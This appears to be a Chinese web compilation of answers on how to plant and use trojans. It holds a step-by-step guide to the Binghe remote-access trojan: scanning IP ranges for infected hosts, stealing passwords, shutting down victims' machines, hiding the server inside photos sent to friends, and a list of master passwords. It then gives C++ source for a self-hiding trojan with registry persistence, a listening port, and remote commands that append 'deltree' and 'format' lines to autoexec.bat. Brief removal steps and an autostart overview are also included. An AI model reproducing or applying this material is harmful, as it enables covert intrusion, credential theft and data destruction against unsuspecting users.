木马程序的使用 *** 是_木马程序的使用 ***

hacker|
174

植入木马程序的 *** 有哪几种?

木马的植入最常见的 ***

1、通过网页的植入,比如某带木马代码的网站,你登录后,他就自动加载在你的系统里了。一般他们会把木马放在图片里

2、木马可以通过程序的下载进行植入

例如通过提供免费的下载或者下载列表里下载的程序和实际你搜索到的程序不同,提供的是木马程序,或者干脆在程序里添加木马

3、人工植入,

早期很多人针对网游投放木马,而网游人数最密集的地方就是网吧,通常会有人带U盘到网吧,植入,或者通过自己建的某个带有木马的网站,在网吧登录木马网站进行木马的侵入

4、通过破解防火墙,指定IP进行攻击的植入

这个对一般老板姓来说都是传说中黑客的手段,一般不太会出现在生活中,谁会为了植入某一个个人电脑花费大量的精力来干这事,理论上是找到IP,并且打开系统后面,直接投放,不过能做到的人们,没有精力来做这种事

怎么用木马?

木马和冰河的使用!【教程】

木马

大家对他的名字很熟悉吧??是啊木马作为一个远程控制的软件已经深入人心,木马是

什么那?如何使用木马程序控制他人那??先不要着急,我们来看看木马的发展,对这

个工具作一个简单的介绍:

黑客程序里的特洛伊木马有以下的特点:

(1)主程序有两个,一个是服务端,另一个是控制端。(如果你下载了,请千万不要

用鼠标双击服务器端)

(2)服务端需要在主机(被你控制的电脑)执行。

(3)一般特洛伊木马程序都是隐蔽的进程。(需要专业的软件来查杀,也有不用软件

查杀的办法,我会介绍)

(4)当控制端连接服务端主机后,控制端会向服务端主机发出命令。而服务端主机在

接受命令后,会执行相应的任务。

(5)每个系统都存在特洛伊木马。(包括Windows,Unix,liunx等)

眼中,特洛伊木马是一种病毒。其实特洛伊木马并不是一种病毒,它没有完全具备病

毒的性质。(包括:转播,感染文件等,但是很多的杀毒软件还是可以查杀,毕竟这是

一种使用简单但是危害比较大的软件)

木马的发展:

之一代木马:控制端 -- 连接 -- 服务端

特点:属于被动型木马。能上传,下载,修改注册表,得到内存密码等。

典型木马:冰河,NetSpy,back orifice(简称:BO)等。

第二代木马:服务端 -- 连接 -- 控制端

特点:属于主动型木马。隐蔽性更强,有利用ICMP协议隐藏端口的,有利用DLL(动态

连接库)隐藏进程的,甚至出现能传播的木马。

典型木马: *** 神偷,广外女生等。(反弹端口型木马)

第二代木马象广外女生可以使用WINDOWS的漏洞,越过许多防火墙从而进行对系统的监

控(像金山,天网等)

随着木马的发展,并且作为很多人使用的软件,杀毒软件也越来越对这个传播很广的半

病毒不病毒的软件越来越关注(因为作为服务器端可以夹带在任何文件中传播,只要你

打开这个文件,你就肯定会被中上木马,甚至可以在 *** 上通过下载来传播)所以查杀

木马的工具很多,但是道高一尺,魔高一丈,木马又不断演化出新的品种来对抗杀毒软

件,毕竟中国的广大网民的安全意识不高,加上盗版猖狂,可以正式在 *** 上进行升级

的并不多,所以木马还是很有使用空间的。下面,我们将介绍一款国产的木马-------

冰河。

需要工具:冰河(随便你找什么版本,因为界面根本就差不多)

Superscan3.0 中文汉化版(上黑白搜索一下可以找到)

首先最重要的一步-------工具接压缩(啊~~我知道是废话。。大家多多包涵嘛。。不

要打拉)

然后运行Superscan3.0(就是那连着的两个电脑图标)

出现界面在IP表里面有两个选项

起始IP:

终止IP:

随便填上两个IP地址(更好是C类IP范围从192.0.0.0--223.255.255.255)

顺便讲一下IP的类型:

A类范围:0.0.0.0---127.255.255.255

B类范围:128.0.0.0---191.255.255.255

C类范围:192.0.0.0---223.255.255.255

D类范围:224.0.0.0---239.255.255.255

E类范围:240.0.0.0---247.255.255.255

一般只有B、C类用的着D类地址是用于多点播送的其他的我也不是很清楚,有兴趣的朋

友可以看看相关的资料。。。。。

闲话说到这里我们继续看起始IP和终止IP

我给大家一个参考

起始IP:202.103.139.1

终止IP:2020103.139.255

填好这个在扫描类型里看列表中定义:

你可以扫描很多的端口,但那对我们的木马攻击没有实际意义

所以我们把两个窗口填上7626(冰河服务端开的端口)。

好了,点开始。

扫描结果会出现在底下兰色的列表中

当然不是所有的结果都有用你要按“Prune”把多余的IP删除掉。剩下IP就是中了冰河

的主机。(假如没有找到,请不要灰心,继续扫描。一个成功的黑客最重要是有耐心

!)

好了打开我们的冰河的客户端(再次提醒!!千万不要点服务器端!!!否则你等于种

木马给自己!!什么??你已经点了??你不会那么傻吧。。。。)

具体功能包括:

1.自动跟踪目标机屏幕变化,同时可以完全模拟键盘及鼠标输入,即在同步被控端屏幕

变化的同时,监控端的一切键盘及鼠标*作将反映在被控端屏幕(局域网适用);

2.记录各种口令信息:包括开机口令、屏保口令、各种共享资源口令及绝大多数在对

话框中出现过的口令信息;

3.获取系统信息:包括计算机名、注册公司、当前用户、系统路径、*作系统版本、当

前显示分辨率、物理及逻辑磁盘信息等多项系统数据;

4.限制系统功能:包括远程关机、远程重启计算机、锁定鼠标、锁定系统热键及锁定

注册表等多项功能限制;

5.远程文件*作:包括创建、上传、下载、复制、删除文件或目录、文件压缩、快速浏

览文本文件、远程打开文件(提供了四中不同的打开方式--正常方式、更大化、最小化

和隐藏方式)等多项文件*作功能;

6.注册表*作:包括对主键的浏览、增删、复制、重命名和对键值的读写等所有注册表

*作功能;

7.发送信息:以四种常用图标向被控端发送简短信息;

8.点对点通讯:以聊天室形式同被控端进行在线交谈。

呵呵,是不是很拽??哼哼~~我叫你不服!!!我要删掉你C盘文件!!!修改你注册

表!!盗你 *** 号码!!上网帐号!!

!………………………………………………………………

罗嗦一下!!你们千万不要搞破坏哦,学会了使用就好。。。

接着,我会介绍特洛伊木马“冰河”的使用:

首先打开客户端

出现*作界面

文件 编辑 设置 帮助

点文件出现下拉菜单

点自动搜索

出现提示框

里面只有起始域 起使地址 终止地址

这三个比较有用

比如我刚才用Superscan3.0 中文汉化版搜索到的IP是202.103.139.25

那么我们就在起始域里输入:202.103.139

起始地址:25

终止地址:25

表示搜索这一个主机

如果扫描结果里显示ERR表示该计算机没有种木马,如果是OK你就爽拉~~

(你也可以在起始域里输入:202.103.139起始里面:1终止里面255,这样是搜索

202.103.139子网里所有的计算机)

看到这里有的朋友会问拉,既然木马可以自己扫描为什么还要上面哪个工具??嘿嘿~~

哪个比较快嘛,多学一点没有坏处的~~(啊~~我错了还不行??大家息怒)

只要有扫到的OK的IP就会把该计算机的IP添到主界面的文件管理的下面他的前面有一个

小加号,点开他你可以随便对对方的文件进行修改删除了,你甚至可以上传一个病毒到

他的文件夹中(不推荐,你们没那么大仇吧??)

好了我们再来看看文件管理右面的命令控制台,这里有你感兴趣的东西哦~~命令很简单

都是一看就会的,你们只要每个都实验一下就知道作什么用的拉

由于危害性我只介绍一个点“命令控制台”---“控制类命令”---“系统控制”

简单的就象小孩子的游戏~~~

看看下面有什么??

远程关闭计算机

远程从新启动计算机

后面两个没什么用不理他也罢

你只要点一下远程“关闭计算机”

OK拉,他的电脑自己关机拉,不相信??好, *** 上和他说话,他能回答你才怪:)

好了,关于*作的 *** 我已经向大家介绍了,这是一个傻瓜式的软件,*作命令全中文,

作用一看就知道,很容易上手,用他来盗 *** 也不错哦~~~~(在口令类命令的系统信息及

口令里,要先做键盘记录哦)具体 *** 请自己研究,我可不想犯罪。。

关于使用 *** 就介绍到这里,到这里以上为止都是对不特定人物的入侵,那么要怎么对

特定的人物进行入侵那??记得我不叫你们点的服务器端吗?呵呵,就是他,他是没有

图标的一个运行文件,可以夹带在几乎任何文件里运送,比如照片,FLASH等……(有

相关的合成软件,我不知道具体那里有下载,不过我有的,你们需要可以找我,不过不

要拿来作坏事)你只需要给你的网友用 *** 传送个照片呀,一篇文章呀就可以顺利种上木

马,然后你要取得他(她)的IP地址就可以对他进行控制拉,这 *** 不是我教你们的啊

!!以后不要出卖我,还有电子邮件也可以传播。。。。。。。木马病毒。。

*** 有很多大家可以自己研究。。。。。。

下面有几点提示:

1:为什么我解压缩的时候杀毒软件老是报有病毒呀??

木马本身就是一个病毒,只要你不点服务器端,对你不会造成任何影响

运行的时候也要关掉防火墙,否则系统无法运行。

2:为什么我种上木马以后连接不到计算机??

很简单,你的版本过旧拉,去下载新的版本吧,再者对方在网吧,由于

设定和家里不一样所以无法连接请尽量选择在家里的倒霉鬼进行实验。

什么??你不知道他是不是在家??看 *** 的IP地址

比如对方IP是202.103.139.22:4000表示在家

202.103.139.22:1030网吧

只有后面是4000、7000的用户是在家

有的时候是4001、4002表示对方现在运行的 *** 数目,不用管他

3:关于冰河的万能密码:

2.2版:Can you speak chinese?

2.2版:05181977

3.0版:yzkzero

3.0版:yzkzero.51.net

3.0版:yzkzero!

3.1-netbug版密码: 123456!@

2.2杀手专版:05181977

2.2杀手专版:dzq2000!

有的是要密码口令登陆的,不过一般不要,也不用刻意注意

4:我也种上服务器端了,对方也在家,他也并没发觉我给他种了,但就是连接不正常

呵呵,对方懂得使用 *** 服务器那你看到的IP地址不是真实的IP地址。这种情况,你还

是放弃吧。

5:冰河是一个很麻烦的家伙,卸载很麻烦就是你安装以后卸载和其他的程序不一样

网上相关文章很多,我由于最近考试关系就不一一介绍了,你可以去黑白 *** 看看:)

6:如果清除冰河服务端:

*** 一: 俗话说,解铃还需系铃人。中了冰河,就用它的控制端来卸载服务端。具体

*** :

1、启动“冰河”的控制端程序。

2、选择“文件”--“添加主机”,或者直接点击快接按钮栏的之一个图标 。

3、弹出的对话框中,“远程主机”一项,填写自己的IP。

4、连接服务端,然后,点击“命令控制台”标签。

5、选择“控制类命令”--“系统控制”,在右面的窗口下方,你会发现四个按钮。点

击“自动卸载”,就将冰河的服务器端清除了。

*** 二:

冰河 v1.1

1、打开注册表“Regedit.exe”。(可以在“开始”--“运行”里输入

“regedit”。)

2、点击目录至:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

3、查找以下的两个路径,并删除

“C:\windows\system\kernel32.exe”

"“C:\windows\system\sysexplr.exe”

4、关闭“Regedit.exe”,重新启动Windows。

5、删除“C:\windows\system\kernel32.exe”和

“C:\windows\system\sysexplr.exe”木马程序。

6:重新启动。完成。

*** 一是对于你给别人种的服务器端的,记得玩完以后给人家清除掉,作事情不要那么

决情!!

*** 二是对于清除自己计算机里的服务器端的,现在就好好看看是不是由于自己的疏忽

被人家种下冰河。。。。。。。。。

小结:对于木马的大家庭来说冰河只是一个小弟弟,但是大家也看到了他的危害性,所

以本人只建议大家学习这个软件,并不是用他去干什么,恶意破坏是低级黑客(根本可

以说是菜鸟)的做法,建议大家不要搞破坏,学习就好。。。。。。。。。。

木马程序怎麽用

你好

木马程序一般不在自己电脑上使用

如果是测试的话就装个虚拟系统或者安装影子

等等

木马有的自动运行

有双击运行的就向是打开程序一样

还有触发的

木马病毒的六种启动方式?

木马是随计算机或Windows的启动而启动并掌握一定的控制权的,其启动方式可谓多种多样,通过登录档启动、通过System.ini启动、通过某些特定程式启动等,真是防不胜防。其实只要能够遏制住不让它启动,木马就没什么用了,这里我就简单说说木马的启动方式,知己知彼百战不殆嘛。

一、通过"开始\程式\启动"

隐蔽性:2星

应用程度:较低

这也是一种很常见的方式,很多正常的程式都用它,大家常用的 *** 就是用这种方式实现自启动的,但木马却很少用它。因为启动组的每人会会出现在“系统配置实用程式”***msconfig.exe,以下简称msconfig***中。事实上,出现在“开始”选单的“程式\启动”中足以引起菜鸟的注意,所以,相信不会有木马用这种启动方式。

二、通过Win.ini档案

隐蔽性:3星

应用程度:较低

同启动组一样,这也是从Windows3.2开始就可以使用的 *** ,是从Win16遗传到Win32的。在Windows3.2中,Win.ini就相当于Windows9x中的登录档,在该档案中的[Windows]域中的load和run项会在Windows启动时执行,这两个专案也会出现在msconfig中。而且,在Windows98安装完成后这两项就会被Windows的程式使用了,也不很适合木马使用。

三、通过登录档启动

1、通过HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run和

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

隐蔽性:3.5星

应用程度:极高

应用案例:BO2000,GOP,NetSpy,IEthief,冰河……

这是很多Windows程式都采用的 *** ,也是木马最常用的。使用非常方便,但也容易被人发现,由于其应用太广,所以几乎提到木马,就会让人想到这几个登录档中的主键,通常木马会使用最后一个。使用Windows自带的程式:msconfig或登录档编辑器***regedit.exe,以下简称regedit***都可以将它轻易的删除,所以这种 *** 并不十分可靠。但可以在木马程式中加一个时间控制元件,以便实时监视登录档中自身的启动键值是否存在,一旦发现被删除,则立即重新写入,以保证下次Windows启动时自己能被执行。这样木马程式和登录档中的启动键值之间形成了一种互相保护的状态。木马程式未中止,启动键值就无法删除***手工删除后,木马程式又自动新增上了***,相反的,不删除启动键值,下次启动Windows还会启动木马。怎么办呢?其实破解它并不难,即使在没有任何工具软体的情况下也能轻易解除这种互相保护。

破解 *** :首先,以安全模式启动Windows,这时,Windows不会载入登录档中的专案,因此木马不会被启动,相互保护的状况也就不攻自破了;然后,你就可以删除登录档中的键值和相应的木马程式了。

2、通过HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce,

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce和

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

隐蔽性:4星

应用程度:较低

应用案例:Happy99月

这种 *** 好像用的人不是很多,但隐蔽性比上一种 *** 好,它的内容不会出现在msconfig中。在这个键值下的专案和上一种相似,会在Windows启动时启动,但Windows启动后,该键值下的专案会被清空,因而不易被发现,但是只能启动一次,木马如何能发挥效果呢?

四、通过Autoexec.bat档案,或winstart.bat,config.sys档案

隐蔽性:3.5星

应用程度:较低

其实这种 *** 并不适合木马使用,因为该档案会在Windows启动前执行,这时系统处于DOS环境,只能执行16位应用程式,Windows下的32位程式是不能执行的。因此也就失去了木马的意义。不过,这并不是说它不能用于启动木马。可以想象,SoftIce for Win98***功能强大的程式除错工具,被黑客奉为至宝,常用于破解应用程式***也是先要在Autoexec.bat档案中执行然后才能在Windows中呼叫出视窗,进行除错的,既然如此,谁能保证木马不会这样启动呢?到目前为止,我还没见过这样启动的木马,我想能写这样木马的人一定是高手中的高手了。

另外,这两个BAT档案常被用于破坏,它们会在这个档案中加入类似"Deltree C:\*.*"和"Format C:/u"的行,这样,在你启动计算机后还未启动Windows,你的C盘已然空空如也。

五、通过System.ini档案

隐蔽性:5星

应用程度:一般

事实上,System.ini档案并没有给使用者可用的启动专案,然而通过它启动却是非常好用的。在System.ini档案的[Boot]域中的Shell项的值正常情况下是"Explorer.exe",这是Windows的外壳程式,换一个程式就可以彻底改变Windows的面貌***如改为Progman.exe就可以让Win9x变成Windows3.2***。我们可以在"Explorer.exe"后加上木马程式的路径,这样Windows启动后木马也就随之启动,而且即使是安全模式启动也不会跳过这一项,这样木马也就可以保证永远随Windows启动了,名噪一时的尼姆达病毒就是用的这种 *** 。这时,如果木马程式也具有自动检测新增Shell项的功能的话,那简直是天衣无缝的绝配,我想除了使用检视程序的工具中止木马,再修改Shell项和删除木马档案外是没有破解之法了。但这种方式也有个先天的不足,因为只有Shell这一项嘛,如果有两个木马都使用这种方式实现自启动,那么后来的木马可能会使前一个无法启动,呵呵以毒攻毒啊。

六、通过某特定程式或档案启动

1、寄生于特定程式之中

隐蔽性:5星

应用程度:一般

即木马和正常程式捆绑,有点类似于病毒,程式在执行时,木马程式先获得控制权或另开一个执行绪以监视使用者操作,撷取密码等,这类木马编写的难度较大,需要了解PE档案结构和Windows的底层知识***直接使用捆绑程式除外***。

2、将特定的程式改名

隐蔽性:5星

应用程度:常见

这种方式常见于针对 *** 的木马,例如将 *** 的启动档案 *** 2000b.exe,改为 *** 2000b.ico.exe***Windows预设是不显示副档名的,因此它会被显示为 *** 2000b.ico,而使用者会认为它是一个图示***,再将木马程式改为 *** 2000b.exe,此后,使用者执行 *** ,实际是运行了 *** 木马,再由 *** 木马去启动真正的 *** ,这种方式实现起来要比上一种简单的多。

3、档案关联

隐蔽性:5星

应用程度:常见

通常木马程式会将自己和TXT档案或EXE档案关联,这样当你开启一个文字档案或执行一个程式时,木马也就神不知鬼不觉的启动了。

这类通过特定程式或档案启动的木马,发现比较困难,但查杀并不难。一般地,只要删除相应的档案和登录档键值即可。        

怎样使用木马

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的 *** 之梦中惊醒,终于认识到的 *** 也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要 *** 是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对 *** 可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了 *** 事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的 *** 安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的 *** 协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NM *** TP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和 *** TP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的 *** ,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("cros *** ow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("cros *** ow",SystemPath+"\\Tapi32.exe");

file://查找是否有“cros *** ow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本 *** 协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNM *** TP的25号端口也是 *** TP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDON *** )

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

